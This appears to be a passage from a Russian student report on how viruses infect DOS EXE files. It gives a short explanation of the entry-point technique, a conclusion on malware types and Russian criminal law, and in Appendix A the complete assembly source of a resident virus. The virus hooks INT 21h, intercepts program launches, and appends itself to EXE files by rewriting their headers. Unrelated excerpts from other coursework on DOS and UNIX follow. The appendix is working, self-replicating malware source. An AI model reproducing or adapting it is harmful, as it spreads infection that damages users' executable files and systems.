6. Постановка задачи
Продемонстрировать стандартный способ заражения. ЕХЕ – файлов.
В частности стандартный способ заражения ЕХЕ-файлов такой: вирус изменяет в заголовке файла точку входа (значения CS и IP) таким образом, чтобы она соответствовала концу файла; затем он дописывается в конец (т.о. новая точка входа соответствует его началу). При этом вирус сохраняет в себе изначальную точку входа, и когда он выполнит свою задачу – передает управление по этому адресу. Помимо точки входа вирус может переопределить (а потом – отреставрировать) значения SS и SP.
Заключение
Ныне существует немало разновидностей вирусов, различающихся по способу распространения и функциональности. Если изначально вирусы распространялись на дискетах и других носителях, то сейчас доминируют вирусы, распространяющиеся через Интернет. Растёт и функциональность вирусов, которую они перенимают от других видов программ: руткитов, бэкдоров (создают «чёрный ход» в систему), кейлоггеров (регистрация активности пользователей), программ-шпионов (крадут пароли от банковских счётов и номера кредитных карт), ботнетов (превращают заражённые компьютеры в станции по рассылке спама или в часть компьютерных сетей, занимающихся спамом и прочей противоправной активностью).
Создание и распространение компьютерных вирусов и вредоносных программ преследуется в России согласно Уголовному Кодексу РФ (глава 28, статья 273).
Список литературы
1. Пирогов, В.Ю. ASSEMBLER. Учебный курс [Текст]/ В.Ю. Пирогов. – М.: Издательство Нолидж, 2001. – 848 с., ил.
2. http://www.codenet.ru/cat/Languages/Assembler/
Приложение А
Это – программа, пример стандартного заражения
ЕХЕ-файлов
ASSUME CS: CodeSegment
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
my_head: JMP initial
;
;
f_number: DW 0
;
;
saved_int21: DD 0
;
;
;
int21_treater:CMP AH, 4Bh
JE begin
JMP retro
begin: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH DI
PUSH SI
MOV DI, DX
resend_again: INC DI
CMP byte ptr DS: [DI], 0
JNE resend_again
CMP word ptr DS: [DI-2], 4558h
JNE to_no_exe
CMP word ptr DS: [DI-4], 452Eh
JE thats_exe
to_no_exe: JMP no_exe
thats_exe:
MOV CX, 0
MOV AH, 3Dh
MOV AL, 2
CALL call_int21
MOV word ptr CS: [f_number-100h], AX
PUSH CS
POP DS
MOV AH, 3Fh
MOV DX, OFFSET data_exe – 100h
MOV CX, 20h
MOV BX, word ptr CS: [f_number-100h]
CALL call_int21
CMP word ptr DS: [data_exe – 100h + 0Ah], 50h
JNE thats_clear
JMP no_exe
thats_clear:
MOV word ptr DS: [data_exe – 100h + 0Ah], 50h
MOV AX, word ptr CS: [data_exe – 100h + 14h]
MOV word ptr CS: [saved_ip – 100h + 1], AX
MOV AX, word ptr CS: [data_exe – 100h + 16h]
MOV word ptr CS: [saved_cs – 100h + 1], AX
MOV AX, word ptr CS: [data_exe – 100h + 10h]
MOV word ptr CS: [saved_sp – 100h + 1], AX
MOV AX, word ptr CS: [data_exe – 100h + 0Eh]
MOV word ptr CS: [saved_ss – 100h + 1], AX
XOR CX, CX
XOR DX, DX
MOV BX, word ptr CS: [f_number-100h]
MOV AL, 2
MOV AH, 42h
CALL call_int21
PUSH AX
PUSH DX
MOV BX, 200h
DIV BX
INC AX
ADD DX, 1C3h
CMP DX, 200h
JB no_add
INC AX
SUB DX, 200h
no_add: MOV word ptr CS: [data_exe – 100h + 2h], DX
MOV word ptr CS: [data_exe – 100h + 4h], AX
POP DX
POP AX
PUSH AX
MOV AX, DX
MOV BX, 1000h
MUL BX
POP DX
;
CMP AX, 0
JE sub_dx
sub_ax: SUB AX, word ptr CS: [data_exe – 100h + 8h]
JMP short length_got
sub_dx: PUSH AX
PUSH DX
MOV AX, word ptr CS: [data_exe – 100h + 8h]
MOV BX, 10h
MUL BX
POP DX
SUB DX, AX
POP AX
length_got:
MOV word ptr CS: [M1 – 100h +1], DX
MOV word ptr CS: [data_exe – 100h + 14h], DX
MOV word ptr CS: [data_exe – 100h + 16h], AX
ADD AX, 50h
MOV word ptr CS: [data_exe – 100h + 10h], DX
MOV word ptr CS: [data_exe – 100h + 0Eh], AX
MOV BX, word ptr CS: [f_number-100h]
MOV DX, OFFSET my_head-100h
MOV CX, my_end – my_head
MOV AH, 40h
CALL call_int21
XOR CX, CX
XOR DX, DX
MOV BX, word ptr CS: [f_number-100h]
MOV AL, 0
MOV AH, 42h
CALL call_int21
MOV BX, word ptr CS: [f_number-100h]
MOV DX, OFFSET data_exe-100h
MOV CX, 20h
MOV AH, 40h
CALL call_int21
to_close: MOV BX, word ptr CS: [f_number-100h]
MOV AH, 3Eh
CALL call_int21
no_exe: POP SI
POP DI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
retro: JMP dword ptr CS: [saved_int21–100h]
call_int21:
PUSHF
CALL dword ptr CS: [saved_int21–100h]
RET
initial: PUSH DS
PUSH ES
MOV AX, 40h
MOV ES, AX
CMP byte ptr ES: [134h], 55h
JE no_tsr
MOV byte ptr ES: [134h], 55h
MOV AX, DS: [02]
SUB AX, 30h
PUSH DS;>>
PUSH CS
POP DS
m1: MOV SI, OFFSET my_head
MOV ES, AX
XOR DI, DI
MOV CX, my_end – my_head
CLD
REPE MOVSB
POP DS
MOV BX, DS
DEC BX
MOV DS, BX
SUB word ptr DS: [03h], 30h
SUB word ptr DS: [12h], 30h
XOR BX, BX
MOV DS, BX
MOV AX, DS: [21h*4+0]; 48Bh
MOV word ptr ES: [saved_int21–100h+0], AX
MOV AX, DS: [21h*4+2]; 5BDh
MOV word ptr ES: [saved_int21–100h+2], AX
CLI
MOV word ptr DS: [21h*4+0], OFFSET int21_treater – 100h
MOV word ptr DS: [21h*4+2], ES
STI
no_tsr:
POP AX
MOV DS, AX
ADD AX, 10h
POP ES
CMP word ptr CS: [00], 20CDh
JNE no_first
RET
no_first: CLI
saved_ss: MOV CX, 1234h
ADD CX, AX
MOV SS, CX
saved_sp: MOV SP, 1234h
STI
saved_cs: MOV DI, 1234h
ADD AX, DI
PUSH AX
saved_ip: MOV AX, 1234h
PUSH AX
RETF
data_exe:
my_end:
MainProcedure ENDP
CodeSegment ENDS
END Start
... каталога 2-го уровня в каталоге 1-го уровня; провести проверку. 4)Выполнение команд по смене каталогов. 5)Уничтожение СВОИХ каталогов. Провести проверки. Отчет по работе 1)Просмотр корневого каталога дисков C,D, и.т.д командами DIR,DIR/W,DIR/P. а)Применение команды DIR H:>dir .………………………................................................... ...
... Вы можете переключиться на VC №2 и начать работу над чем-то другим). Использование виртуальных консолей дает вам представление о многопользовательских возможностях UNIX. 2. Краткая информация о командах, встречающихся в этой практической работе. ИМЯ banner - печатает аргументы крупными буквами. СИНТАКСИС banner arg ... ОПИСАНИЕ banner печатает параметры на stdout, используя матрицы ...
... этот файл является именно файлом; или на то, что он является Каталогом. Файлы, в зависимости от атрибута, могут быть скрытыми, архивными системными, только для чтения.(Скрытые файлы MS DOS “не видит”). 8. КОМАНДЫ ПОДДЕРЖКИ ФАЙЛОВ Для работы с файловой системой в DOS имеются несколько встроенных команд: COPY, REN, DEL, TYPE, DIR, MKDIR или MD, CHDIR или CD RMDIR или RD 8.1. ...
... news (спулинг новостей), uucp (спулинг для UUCP) и т.п. Каталог /var/tmp используется программами, которым требуется временные файлы или каталоги для хранения данных, сохраняемых между перезагрузками системы. Иерархия файловых систем В корневой файловой системе должна находиться информация для загрузчика и основные файлы, необходимые в процессе старта системы (например, ядро). Здесь же должны ...
0 комментариев